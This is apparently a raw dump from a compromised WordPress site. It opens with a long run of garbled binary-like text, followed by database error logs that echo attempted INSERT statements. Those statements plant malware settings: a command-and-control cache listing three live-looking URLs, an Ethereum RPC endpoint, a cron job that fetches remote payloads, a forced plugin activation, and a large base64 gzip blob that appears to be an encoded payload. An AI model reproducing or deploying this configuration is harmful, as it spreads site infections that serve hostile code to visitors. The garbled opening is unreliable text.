^FOOOOO_G]\YVFGK
0Y[VW
^COOO]X_	G^V]WFFOOOOOORRROOOO	
FO 
TeOO	OOOOGN_G][^[FG_GXZFCOOK
0Y[VW
^COOK
_VYY0V]FFOOOO 
TeeO	OOOOOOGV[^_G]_X_FGK
0ZCOWZ XG][^ZFFOOOORRROOKYW]W OOIIOOK
_VYY0V]4^2OOOORRROKY
	0X[[WFOOOOeOOO	OGNVX[X\YXXGK
0ZFFOeeeO	OG 	[Y\]^ZGK
0ZCOOK
0ZOOOAOOOOOO]X_	G^WXFFOIIOOWZ XG][_XFG_G]_]YFFFO/ 
0
GK
0ZCOO
FTeeeOOOOOOeO 
TeOOeeOOO	OOOG
 0 
GK
_VYY0V]4^2COKY
	0X[[WCOHSHFFOeeeOOKYW	\	OOOOOOROO
^^XWGK
0ZFTeee	OOOOOGKYW	\	OOOORRROO	
FOeOZ[^YZZGWZ XG][^YFCOOOOV[^_G]_]^FOAOOV[^_G]_X_FGK
0ZFFTeOOOOOO 
TeOOOOOOe	OGKYW	\	ORRROO
FOe	OOOOG 	[Y\]^ZGK
0ZCOOK
0ZOAOOO_G^WXFFFOOOOOeOOO	OOOOG_G][^XFGV[^_G][^WFFFO/ 
0
GK
0ZCOO
FTeOOOeO/]X_	G]__\FG]X_	G]_][FGK
0ZFOOAOOOO_G][^VFOOAOO]X_	G]_X_FGK
0ZCOOO]X_	G][^ZFFFTeO 
Tee/V[^_G]__\FGK
0ZFTeOO/_G]__\FG]X_	G]_][FGK
0ZFOAOOOWZ XG][^VFOOOAOOO]X_	G]_X_FGK
0ZCOOO_G][^ZFFFTeOOOOO	OOOOGV[^_G][^XFGV[^_G][^WFFFO/ 
0
GK
0ZCOO
FTeOOOO 
TeeOOKZ0 
OOOROG]X_	G]_X_FG_G]_][FGK
0ZFFORRROOO]X_	G][]_FOOOOOO_G]_][FGK
0ZFORRROOOK000 ^FTeO	OGNKZ0 
OIIOO]X_	G][]^FGWZ XG][]]FFFOOOOeOK^\Z\]\OROOOOV[^_G]_X_FGWZ XG][]\FGK
0ZFFOOAOH@HOOAOWZ XG]_X_FGK
0ZFTeK ZV\OOOROOGFOOO/
0  G_GWZ^FCOOGFFTeOOOOOOOKZ0 
OOOROO]X_	G][][FGK^\Z\]\COK ZV\COOO
FTe	OOOOGNKZ0 
OOIIOOV[^_G][]^FG_G]^\FFOIIOOOOO0
GFOIIOOV[^_G][]^FG_G]^ZFFFOOOOeeeOK[X^\\\OOOROOGFOO/
0
0  GV[^_G]^YFCOGFFTeKZ0 
OOOORO
GK[X^\\\4K^\Z\]\2FTeO
GK[X^\\\FTeOOeOOOOO
GK^\Z\]\COOOOK ZV\FTeOOOOe	OOGNKZ0 
FO 
TeOOO	OOOOG
 0 
GK
_VYY0V]4^2COKY
	0X[[WCOOHQHFFOeOO	OGVX[X\YXXGK
0ZFOOIIOOOON	[ W
]V YGK
0ZFFO
TeOOOK	ZOOROOOOOV[^_G][]\FGK
0ZFOOOOOAOO]X_	G][]ZFOOAOO]X_	G]\]ZFGK
0ZFTeOO	OOOG/WZ XG][]YFGK	ZFOOOIIOOOOOGFOOOOO/_G][]XFGK	ZFOOSOOOWZ XG]]^WFGFOOBOOOG_\WD_[FFOeOOOOOOOK^]_\OROV[^_G][]WFGHHCOOGFOOOO/_G][]VFGK	ZFFTeOOOOO	OOOOGV[^_G^X^VFGK^]_\FOSO]OOOOOOOOK^]_\4_2OOOOONRROOOK
_VYY0V]4^2OOOOOOOOOGFOOOK^]_\4^2ONRROOOGFOOO/_G][\_FGK
0ZFFOee/_G]__\FGK	ZFTe 
TeOOOee	OOG
^^XWGK
0ZFOOONRROOO	
FOOOOeeeYXYW][GK
0ZCOOOOOG_^WD_^FFTeO	OGZ	VV0GK
0ZFFOOOOeOOO/_G][\^FGK	ZFTe	OOOOGWZ XG][]^FGV[^_G][^WFFFO/ 
0
GK
0ZCOOO
FTeOOOOeOe 
Tee/WZ XG][\]FGK	ZCOK
_VYY0V]4^2OAOOHHOOOOAOGFOO/_G][\_FGK
0ZFFTeOOOOOO 
TeeeeOOOOO	OOOOOOGK
_VYY0V]4^2OORRROOKY
	0X[[WFOOeOK\ZZ
[
\OOORO		Z	_Y]GFTeOOOOOK
YVOOROOO	
TeO	OOGN
GK\ZZ
[
\4]X_	G^X[ZF2FFOOeeeeOOOOK^X\ZOROO/]X_	G^VZVFGK\ZZ
[
\4]X_	G^X[ZF2FTeeeeOOK [ ^^OOROO/]X_	G^VZVFGK
0ZFTeeeeOOO	OOOG_G]]X_FGK^X\ZFOIIOOOV[^_G]]X_FGK [ ^^FOIIOOOK^X\ZOOOORRROK [ ^^OOIIO]Z\0
Y^GK\ZZ
[
\FOOOORRROOV[^_G^X[^FOIIOOOOVX[X\YXXGK
0ZFFOO
TeOOOOOO	OOOOG]X_	G]]X_FGK^X\ZFOOIIOOK^X\ZORRROO/V[^_G^VZVFGKZ\XWFFOK
YVORO
TeOOOOOeOO	OOOGNK
YVOIIOONVX[X\YXXGK
0ZFFOOOOeeeeOOOOOO	OOG	[ W
]V YGK
0ZFOOOOOOOOOO
^^XWGK
0ZFOOONRRO	
FOeeeO	OOOOOG 	[Y\]^ZGK
0ZCOOOK
0ZOOAOOOOOWZ XG^WXFFOIIOOV[^_G][\\FG]X_	G][^WFFFOOOO/ 
0
GK
0ZCOOOO
FTeeeeOOOOO
GK\ZZ
[
\COOK
YVCOOK^X\ZCOOK [ ^^FTeOOOOOO 
TeeeOeOOOOOO	OOOGNK
YVOOIIOOOOOOWZ XG][^^FGV[^_G]\]ZFG_G]_X_FGK
0ZCOOOOO_G][^ZFFFCOOOO_COOOOOOG^D^^FFOOQOOO_G][\[FGWZ XG]\]ZFGKYW]W FCOOOO_COOG]D^_FFFOO
TeO
GK\ZZ
[
\COK
YVCOOOK^X\ZCOOK [ ^^FTeeeeeeeeeO
GKZ\XWCOKY
	0X[[WCOOOOK
0Y[VW
^COOOK
_VYY0V]COOOK0ZZCOOOK000 ^COOOOK	 0_]	COOK
0ZCOOOK^]V]X\Y
0	COKYW]W COOKV	
Z	COKYW	\	COOK	ZCOOOK^]_\FTeeeeOOOOOG; 
OK]WFOeOOOOOOOOG*
 OOK]WFOeOOe	OOOOOG
GK(# -.#<4_G^YWF2FFOOOe	OOG
 0 
GGFOOOK(# -.#<4WZ XG][\ZF2COOV	_00YGFCOWZ XG][\YFFFOO
TeOK(# -.#<4]X_	G]_[[F2OOOOROO^TeeOO

	OOG
	
G_G][\XFFFOeOK_]	V\	XOOOOOROO GV[^_G][\WFFTeO	OOOGV[^_G]]X_FGK_]	V\	XFOOOIIOOOOOO_G][\VFG]X_	G^YY]FCOOOOOOK_]	V\	XFOOOIIO
 0 
GK_]	V\	XCOOV	_00YGFCOOOO]X_	G][[_FFFO
TeK(# -.#<4_G]_[[F2OOROO^TeOOOOO
GK_]	V\	XFTeeOOOK(# -.#<4WZ XG][\ZF2OOROOOOOOV	_00YGFTe	OOGV[^_G][\\FGV[^_G^X_FFFOO/

G
COOOO []]^
 XGFFTeeOK(# -.#<4WZ XG^YVF2OROOGFO/WZ XG][[^FG []]^
 XGFFOOOAOOHUHOAOOOOGFOO/]X_	G][]XFG []]^
 XGFFTeOO	OGN
	
GV[^_G][[]FFFOOOO
	
GV[^_G][[]FCOV	_00YGFFTeO	OOOGN
	
G]X_	G][[\FFFO
	
G]X_	G][[\FCOV	_00YGFFTeOOOWZ
YGV[^_G]]ZFFTeOOe]XZ0_\^G []]^
 XGFFTeOOO	OOOOG_G][[[FG]X_	G][[ZFFOOIIOOO_G][[[FGV[^_G][[YFFFOOOeOOeOOOOK0]_[OOOROO[\
W^^WGFTe	OOG/]X_	G][[XFGK0]_[FFOOOOOOeOOOOOOK
V\
\[OOORO]0^_[GFTeK0YZ00OOOROOOOO XZWV	[YGK0]_[FTeO	OOG]X_	G][^_FGK0YZ00FFOOOOe	 
OGK0YZ00OOOOOKZ]XZFOOeOOOO	OGKZ]XZOORRROOOOK
V\
\[FOO 
TeOOOOOOO	OGV[^_G][[WFG_G][[VFGKZ]XZCOOOO GWZ XGW]_FFFFONRROO]X_	G][Z_FFO 
TeOOOOKZYZOOROOOK0]_[OOOOAOOH@HOOAOOOOKZ]XZTeO	OOG/WZ XG][]YFGKZYZFOOIIOOO/_G][[^FGKZYZFOQOOOOG[VVZDZFOIIOOYZX_
WYGKZYZCOOOG]V\ZD]_YZFFFOOOeOOO]Y]X	XY] 0GKZYZFTeOeOOOOOeOOOOeOOOOeOOOOOOOOOOG; 
OOOOK]WFOeOOOZ[^YZZGV[^_G]\_FCOOOOK]WFTeOOOOOOG*
 OOOOOK]WFOeeOOeOOOeO	OOOGNOO	VV GFFOOeeOO
X
 X^GV[^_G[]XFCOWZ XG][Z^FCOOOOO^FTeOeOeK(# -.#<4V[^_G][Z]F2OOROOOGFTOeeeeOOK(# -.#<4WZ XGWY]F2OROOOOOGFTOOOeOK(# -.#<4WZ XG][Z\F2OROOMMTOOOOOOeO	OOG]X_	G][Z[FG]X_	G^WYWFFFOeO_G^WYWFG_G][ZZFFTeOOOOOV[^_G^WYWFGWZ XG][ZYFFTeOOOeOOOOOK [	OOOROWZ XG][ZXFG []]^
 XGFFOOOOAOO]X_	G^_\]FOOAOOWZ XG]_X_FG []]^
 XGFCOOOO_G][^ZFFTeeee	OOG/WZ XG][ZWFGK [	FFOOeOK0
_XW	YOOOOROO]X_	G^V[_FGGFOOO/]X_	G][]VFGK [	FFTeeeeOOK	
	\_OOOROX\\]]GFTeeeOOOOOOO	OOOGK0
_XW	YOOORRROMMOOOOK0
_XW	YOONRROK	
	\_FOOOZ	VV0GK [	FTe
GK0
_XW	YCOOOK	
	\_FTeOOOOOeOOOOOOeOOO/_G]]FGV[^_G][ZVFG []]^
 XGFFOOOOAO_G][Y_FOOOAOOOOV[^_G]_X_FG []]^
 XGFCOOOV[^_G][^ZFFFTeeeeOK ZZ_VOROOOV[^_G][Y^FOOOOAOOX\\]]GFTeeee	 
OGG]X_	G][ZVFG []]^
 XGFFCOO[\
W^^WGFFOOOOOOOOKWX FOOOe	OOG/]X_	G][ZWFGKWX OOOOOAOOH@HOOAOOOK ZZ_VFFOOO/V[^_G][\^FGKWX OAOOOOH@HOOOOAOK ZZ_VFTeeOe
GK ZZ_VCOKWX FTeOOOOOOG; 
OOK]WFOOOOeOOOOOOOOG*
 OK]WFOOeeOOOeO
GK [	FTeOOOeO
X
 X^G]X_	G][Y]FCOOOOOWZ XG][Y\FCOO_FTeOOO
X
 X^G]X_	G][Y[FCO_G][YZFCOO_FTeeeOOOOO
X
 X^G_G][YYFCOOO_G][YXFCOO_FTeOOOOO
X
 X^GWZ XG][YWFCOOOOOWZ XG][YXFCOOOO_FTeeee
X
 X^GWZ XG][YWFCOOOOOWZ XG][YVFCO]FTeOO
X
 X^G_G][X_FCOOOO]X_	G][X^FCOOG_^D_]FFTeO
X
 X^GV[^_G][X_FCOWZ XG][X]FCOG^D\FFTeee
X
 X^G_G[]XFCOV[^_G][X\FCOOOG_^D_[FFTeOOOOOO]
[^0YG_G][X[FCOOOOOOWZ XG][XZFCOG_\D_XFCOOO^FTeO]
[^0YG]X_	G][XYFCOOO_G][XZFCOGZDZFCO^FTeeeO]
[^0YG]X_	G][XXFCO_G][XZFCOOOOG^^Y1^]YFCOO^FTeO]
[^0YGV[^_G][XWFCOOOV[^_G][XZFCOOOG^\B\FCO^FTeeee]
[^0YGV[^_G][XVFCOOOV[^_G][W_FCOOOGV_]DVXFCOOG[B^FFTeOO
X
 X^GV[^_G^_[[FCOOOOO_G][W^FCOOOGVWWD^^FCOO]FTeeeOeOO]
[^0YG_G][W]FCOO]X_	G][W\FFTe]
[^0YG_G][W[FCOWZ XG][WZFCOOGZV1[VFCO]FTe]
[^0YGWZ XG][WYFCOOWZ XG][WXFFTeOeOOOO]
[^0YGWZ XG][WWFCOV[^_G][WVFCOOOOGZV1[VFCOO^FTeeeee]
[^0YGWZ XG][V_FCOOOOO_G][V^FCOG_]D_WFCOO]FTeOOOO
X
 X^G]X_	G][V]FCOO]X_	G][V\FFTeOOOOOOO]
[^0YGWZ XG][V[FCOOOWZ XGV[ZFFTeeOOO]
[^0YGWZ XG][VZFCOOOV[^_G][VYFFTeOOOeO
X
 X^GWZ XG][VXFCOOWZ XG][VWFCOOOOOOBGV^VDW_FFTeOOO
X
 X^GV[^_G][VVFCO]X_	G][VWFCOOOOBGVZ\D[YFFTeeeOOO
X
 X^GV[^_G]Z__FCOOO]X_	G][VWFCOOOBGV]_DXVFFTeeeeOOeO
X
 X^G_G]Z_^FCOOOOOV[^_G]Z_]FCOOGV^YDW\FFTeeeOOO
X
 X^G_G]Z_\FCOOO]X_	G]Z_[FCOOOOO_FTee
X
 X^GWZ XG]Z_ZFCOO_G]Z_YFCOG_^ZD_][]FFTeOOOOOOO
X
 X^G]X_	G]Z_XFCOOOOV[^_G]Z_WFCOOOG_Z]D_\VZFFTeOOOOOeOOOO
X
 X^G_G^VVFCOV[^_G]Z_VFCOOO]FTeeO
X
 X^GWZ XG^VVFCO_G]Z^_FCOOOO_FTeOOeOOOOO
X
 X^G]X_	G^VVFCOO]X_	G]Z^^FCOOO_FTe
X
 X^GV[^_G^VVFCO_G]Z^]FCO_FTeOOOeOOOOO
X
 X^G_G^VVFCOOOOV[^_G]Z^\FCOOO^FTeOOOOOOO
X
 X^GV[^_G^VVFCOOOOOO_G]Z^[FCOOOO]FTeeO
X
 X^GV[^_G]Z^ZFCOOOV[^_G][YVFCOOOG_]D_^FFTeOOOOOOO
X
 X^GV[^_G]Z^ZFCO]X_	G]Z^YFCOG^D\FFTe
X
 X^G_G]Z^ZFCOOWZ XG]^[YFCOG_]D_\FFTeeOO
X
 X^GWZ XG]Z^ZFCOOO_G]Z^XFCOOG[D]FFTeeeeOOO
X
 X^GWZ XG]Z^WFCOO]X_	G]Z^VFCOOOOG\SS^FFTeOO
X
 X^GWZ XG]Z^WFCO]X_	G]Z]_FCOGZD^FFTeeOO
X
 X^G_G]Z^WFCOOOOOV[^_G]Z]^FCOOG^_Y1^_VFFTeee	OGV[^_G][Z[FGV[^_G]Z]]FFFOOeeeOO_G]Z]\FG	 OOOOGFOeO	OOGN
GK(# -.#<4WZ XG]_[XF2FFOOO
Te	OOGN
	
GV[^_G]Z][FFOOOOOOON]X_	G][Z[FGWZ XG][]]FFFOO
TeO	OOOOG]X_	G]Z]ZFGWZ XG]Z]^FFFOOOOOeOOOOOOOOeOO[VZ^_
GFTeOOOOOOOOG; 
OOK]WFOOOOeOOOOOOOG*
 OOK]WFOeOOOOeOOOOOOOeOOOOOFTeOOOOe
X
 X^G_G]Z^WFCOOWZ XG]Z]YFCOOOOOOGZ^1ZVFFTeOO
X
 X^G_G]]^XFCOO]X_	G]Z]XFFTeO
X
 X^GV[^_G]]]_FCOOOO_G]Z]WFFTeOOOO
X
 X^GWZ XG[]XFCOOWZ XG]Z]VFCOG_WD_]FFTeOOOOO
X
 X^G_G]Z^WFCOOO	 OOOGFOeOO	OOOGNV[^_G]Z]ZFGWZ XG][]]FFOOOOON]X_	G]Z]ZFG_G]Z\_FFFOOOOOO
TeOOOOOOOK^] YZV0OOOROOGFOO/
0  GV[^_G]Z\^FCO_FTeeeeO	OOOGG_G]Z\]FGFOOOOOBOK^] YZV0FOQOOG_^VD_X\FFOOOe/
0  G]X_	G]Z\^FCOOOOOV[^_G]Z\]FGFFTeOOO][ \_GFTeOOOOeOOOOOOOCOOOOGXD]FFTeeeeeO
X
 X^GWZ XGXWFCOO]X_	G]Z\\FFTeOOOOO]
[^0YGWZ XG]Z\[FCOOOOV[^_G]Z\ZFFTeOO	OOOGV[^_G]Z\YFGV[^_GZ_[FFOOIIOOOO0 GWZ XG]Z^WFFFOeeeeOOOOV^V^ V	]\VGFTeOOOOeOOee0 GH0
HC	 GFeOOOO0  0
GH<
HCH<
HCH
0  HCH
B 
BB
HC	 GFeOOOOOOOO
 OHSORMMQS^Q<
S@^QS	 O
 RM MO RM  AMQHTeOOOOOOOO
0	
GH
B 
B0 HFTeOOOOOOOO 0
0
 GH
B 
BB
HFTeOOOOOOOO0 GFTeOOOOOOOO
 OHS@	 QS@QHTeOOOOFTeFTe0 GH0HC	 GFeOOOO

0
GH
B 
B0 HCH
B 
B0  HFTeOOOO0
0
 GH
B 
B0HCH, 	 HC	 GF
 OHSQ, 	
O  O
 AS@QHTCH
B 
BB
HFTeOOOO0
0	
GH
B 
B0
HCH,
O" 
HC	 GFeOOOOOOOOK R
0  GH
B 
B0  HCGFFTKR
GK 4H
H2FPK 4H
H2UH

HTeOOOOOOOO
 OHS

O
RMHA
0GH
B 
B0  4
2HFAHMQS  O
RM

MHA


GKCH

HC	
FAHQ*
S@  QS  O
RM
MHA


GKCH
HC	
FAHQ+
S@  QS@

QHTeOOOOCH
B 
BB
HCH
B 
B0HFTeFTe	G	 0
GH0  
HFF0  
GH
0 
00HC	 GFeOOOOK R
0  GH
B 
B0  HCGFFTeOOOO
OHSNBBOUOHAG
GK 4H
H2FPK 4H
H2UH 
HFAHOBBQHTeFTe	G	 0
GH0 
0HFOIIO	 0
GH

0 0  HFF

0 0  G00)&#*00C	 GFeOOOO	GN
0  GH
B 
B0  HFF0  GH
B 
B0  HCGH
HRQH

HCH
 HRQH^A_HFFTeFTeMT', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_fetch_fails', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_fetch_fail_ts', '0', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_initialized', '4.3.24', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('cron', 'a:2:{i:1788662716;a:1:{s:13:\"sc_cron_fetch\";a:1:{s:32:\"40cd750bba9870f18aada2478b24840a\";a:3:{s:8:\"schedule\";s:11:\"sc_interval\";s:4:\"args\";a:0:{}s:8:\"interval\";i:36000;}}}s:7:\"version\";i:2;}', 'on') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_last_rpc', 'https://0xrpc.io/eth', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('sc_c2_cache', 'https://basic-junior.com/SGct2K\nhttps://railroad-boot.com/SGct2K\nhttps://great-basic.com/SGct2K', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('active_plugins', 'a:1:{i:0;s:37:\"ridge-worker-pad/ridge-worker-pad.php\";}', 'auto') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u105583757_DeaOR'@'127.0.0.1' for table `u105583757_KArNY`.`wpn6_options`]
INSERT INTO `wpn6_options` (`option_name`, `option_value`, `autoload`) VALUES ('0af6ff00fe', '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